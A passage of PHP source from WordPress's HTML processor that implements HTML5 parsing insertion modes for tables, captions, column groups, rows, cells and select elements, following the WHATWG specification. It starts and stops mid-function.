			case '+RT':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags( 'RTC' );

					$current_node_name = $this->state->stack_of_open_elements->current_node()->node_name;
					if ( 'RTC' === $current_node_name || 'RUBY' === $current_node_name ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "math"
			 */
			case '+MATH':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust MathML attributes for the token. (This fixes the case of MathML attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'math';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is "svg"
			 */
			case '+SVG':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust SVG attributes for the token. (This fixes the case of SVG attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink in SVG.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'svg';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup",
			 * > "frame", "head", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+FRAME':
			case '+HEAD':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				// Parse error. Ignore the token.
				return $this->step();
		}

		if ( ! parent::is_tag_closer() ) {
			/*
			 * > Any other start tag
			 */
			$this->reconstruct_active_formatting_elements();
			$this->insert_html_element( $this->state->current_token );
			return true;
		} else {
			/*
			 * > Any other end tag
			 */

			/*
			 * Find the corresponding tag opener in the stack of open elements, if
			 * it exists before reaching a special element, which provides a kind
			 * of boundary in the stack. For example, a `</custom-tag>` should not
			 * close anything beyond its containing `P` or `DIV` element.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
				if ( 'html' === $node->namespace && $token_name === $node->node_name ) {
					break;
				}

				if ( self::is_special( $node ) ) {
					// This is a parse error, ignore the token.
					return $this->step();
				}
			}

			$this->generate_implied_end_tags( $token_name );
			if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
				// @todo Record parse error: this error doesn't impact parsing.
			}

			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->pop();
				if ( $node === $item ) {
					return true;
				}
			}
		}

		$this->bail( 'Should not have been able to reach end of IN BODY processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Parses next element in the 'in table' insertion mode.
	 *
	 * This internal function performs the 'in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token, if the current node is table,
			 * > tbody, template, tfoot, thead, or tr element
			 */
			case '#text':
				$current_node      = $this->state->stack_of_open_elements->current_node();
				$current_node_name = $current_node ? $current_node->node_name : null;
				if (
					$current_node_name && (
						'TABLE' === $current_node_name ||
						'TBODY' === $current_node_name ||
						'TEMPLATE' === $current_node_name ||
						'TFOOT' === $current_node_name ||
						'THEAD' === $current_node_name ||
						'TR' === $current_node_name
					)
				) {
					/*
					 * If the text is empty after processing HTML entities and stripping
					 * U+0000 NULL bytes then ignore the token.
					 */
					if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
						return $this->step();
					}

					/*
					 * This follows the rules for "in table text" insertion mode.
					 *
					 * Whitespace-only text nodes are inserted in-place. Otherwise
					 * foster parenting is enabled and the nodes would be
					 * inserted out-of-place.
					 *
					 * > If any of the tokens in the pending table character tokens
					 * > list are character tokens that are not ASCII whitespace,
					 * > then this is a parse error: reprocess the character tokens
					 * > in the pending table character tokens list using the rules
					 * > given in the "anything else" entry in the "in table"
					 * > insertion mode.
					 * >
					 * > Otherwise, insert the characters given by the pending table
					 * > character tokens list.
					 *
					 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
					 */
					if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
						$this->insert_html_element( $this->state->current_token );
						return true;
					}

					// Non-whitespace would trigger fostering, unsupported at this time.
					$this->bail( 'Foster parenting is not supported.' );
					break;
				}
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "caption"
			 */
			case '+CAPTION':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->state->active_formatting_elements->insert_marker();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
				return true;

			/*
			 * > A start tag whose tag name is "colgroup"
			 */
			case '+COLGROUP':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return true;

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->state->stack_of_open_elements->clear_to_table_context();

				/*
				 * > Insert an HTML element for a "colgroup" start tag token with no attributes,
				 * > then switch the insertion mode to "in column group".
				 */
				$this->insert_virtual_node( 'COLGROUP' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "td", "th", "tr"
			 */
			case '+TD':
			case '+TH':
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_context();
				/*
				 * > Insert an HTML element for a "tbody" start tag token with no attributes,
				 * > then switch the insertion mode to "in table body".
				 */
				$this->insert_virtual_node( 'TBODY' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "table"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is "table"
			 */
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "style", "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+STYLE':
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				/*
				 * > Process the token using the rules for the "in head" insertion mode.
				 */
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "input"
			 *
			 * > If the token does not have an attribute with the name "type", or if it does, but
			 * > that attribute's value is not an ASCII case-insensitive match for the string
			 * > "hidden", then: act as described in the "anything else" entry below.
			 */
			case '+INPUT':
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					goto anything_else;
				}
				// @todo Indicate a parse error once it's possible.
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+FORM':
				if (
					$this->state->stack_of_open_elements->has_element_in_scope( 'TEMPLATE' ) ||
					isset( $this->state->form_element )
				) {
					return $this->step();
				}

				// This FORM is special because it immediately closes and cannot have other children.
				$this->insert_html_element( $this->state->current_token );
				$this->state->form_element = $this->state->current_token;
				$this->state->stack_of_open_elements->pop();
				return true;
		}

		/*
		 * > Anything else
		 * > Parse error. Enable foster parenting, process the token using the rules for the
		 * > "in body" insertion mode, and then disable foster parenting.
		 *
		 * @todo Indicate a parse error once it's possible.
		 */
		anything_else:
		$this->bail( 'Foster parenting is not supported.' );
	}

	/**
	 * Parses next element in the 'in table text' insertion mode.
	 *
	 * This internal function performs the 'in table text' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_text(): bool {
		$this->bail( 'No support for parsing in the ' . WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT . ' state.' );
	}

	/**
	 * Parses next element in the 'in caption' insertion mode.
	 *
	 * This internal function performs the 'in caption' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_caption(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is "caption"
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 *
			 * These tag handling rules are identical except for the final instruction.
			 * Handle them in a single block.
			 */
			case '-CAPTION':
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'CAPTION' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'CAPTION' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'CAPTION' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;

				// If this is not a CAPTION end tag, the token should be reprocessed.
				if ( '-CAPTION' === $op ) {
					return true;
				}
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/**
			 * > An end tag whose tag name is one of: "body", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/**
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in column group' insertion mode.
	 *
	 * This internal function performs the 'in column group' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolgroup
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_column_group(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * > U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_column_group_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// @todo Indicate a parse error once it's possible.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > An end tag whose tag name is "colgroup"
			 */
			case '-COLGROUP':
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "col"
			 */
			case '-COL':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		in_column_group_anything_else:
		/*
		 * > Anything else
		 */
		if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
			// @todo Indicate a parse error once it's possible.
			return $this->step();
		}
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in table body' insertion mode.
	 *
	 * This internal function performs the 'in table body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_body(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_virtual_node( 'TR' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '-TABLE':
				if (
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TBODY' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'THEAD' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TFOOT' )
				) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * > Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in row' insertion mode.
	 *
	 * This internal function performs the 'in row' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intr
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_row(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
				$this->state->active_formatting_elements->insert_marker();
				return true;

			/*
			 * > An end tag whose tag name is "tr"
			 */
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in cell' insertion mode.
	 *
	 * This internal function performs the 'in cell' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intd
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_cell(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is one of: "td", "th"
			 */
			case '-TD':
			case '-TH':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();

				/*
				 * @todo This needs to check if the current node is an HTML element, meaning that
				 *       when SVG and MathML support is added, this needs to differentiate between an
				 *       HTML element of the given name, such as `<center>`, and a foreign element of
				 *       the same given name.
				 */
				if ( ! $this->state->stack_of_open_elements->current_node_is( $tag_name ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( $tag_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td",
			 * > "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				/*
				 * > Assert: The stack of open elements has a td or th element in table scope.
				 *
				 * Nothing to do here, except to verify in tests that this never appears.
				 */

				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is one of: "table", "tbody", "tfoot", "thead", "tr"
			 */
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in select' insertion mode.
	 *
	 * This internal function performs the 'in select' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > Any other character token
			 */
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * If a text node only comprises null bytes then it should be
				 * entirely ignored and should not return to calling code.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "option"
			 */
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "optgroup"
			 * > A start tag whose tag name is "hr"
			 *
			 * These rules are identical except for the treatment of the self-closing flag and
			 * the subsequent pop of the HR void element, all of which is handled elsewhere in the processor.
			 */
			case '+OPTGROUP':
			case '+HR':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "optgroup"
			 */
			case '-OPTGROUP':
				$current_node = $this->state->stack_of_open_elements->current_node();
				if ( $current_node && 'OPTION' === $current_node->node_name ) {
					foreach ( $this->state->stack_of_open_elements->walk_up( $current_node ) as $parent ) {
						break;
					}
					if ( $parent && 'OPTGROUP' === $parent->node_name ) {
						$this->state->stack_of_open_elements->pop();
					}
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "option"
			 */
			case '-OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "select"
			 * > A start tag whose tag name is "select"
			 *
			 * > It just gets treated like an end tag.
			 */
			case '-SELECT':
			case '+SELECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > A start tag whose tag name is one of: "input", "keygen", "textarea"
			 *
			 * All three of these tags are considered a parse error when found in this insertion mode.
			 */
			case '+INPUT':
			case '+KEYGEN':
			case '+TEXTAREA':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		/*
		 * > Anything else
		 * >   Parse error: ignore the token.
		 */
		return $this->step();
	}

	/**
	 * Parses next element in the 'in select in table' insertion mode.
	 *
	 * This internal function performs the 'in select in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '+CAPTION':
			case '+TABLE':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '+TD':
			case '+TH':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '-CAPTION':
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
			case '-TD':
			case '-TH':
				// @todo Indicate a parse error once it's possible.
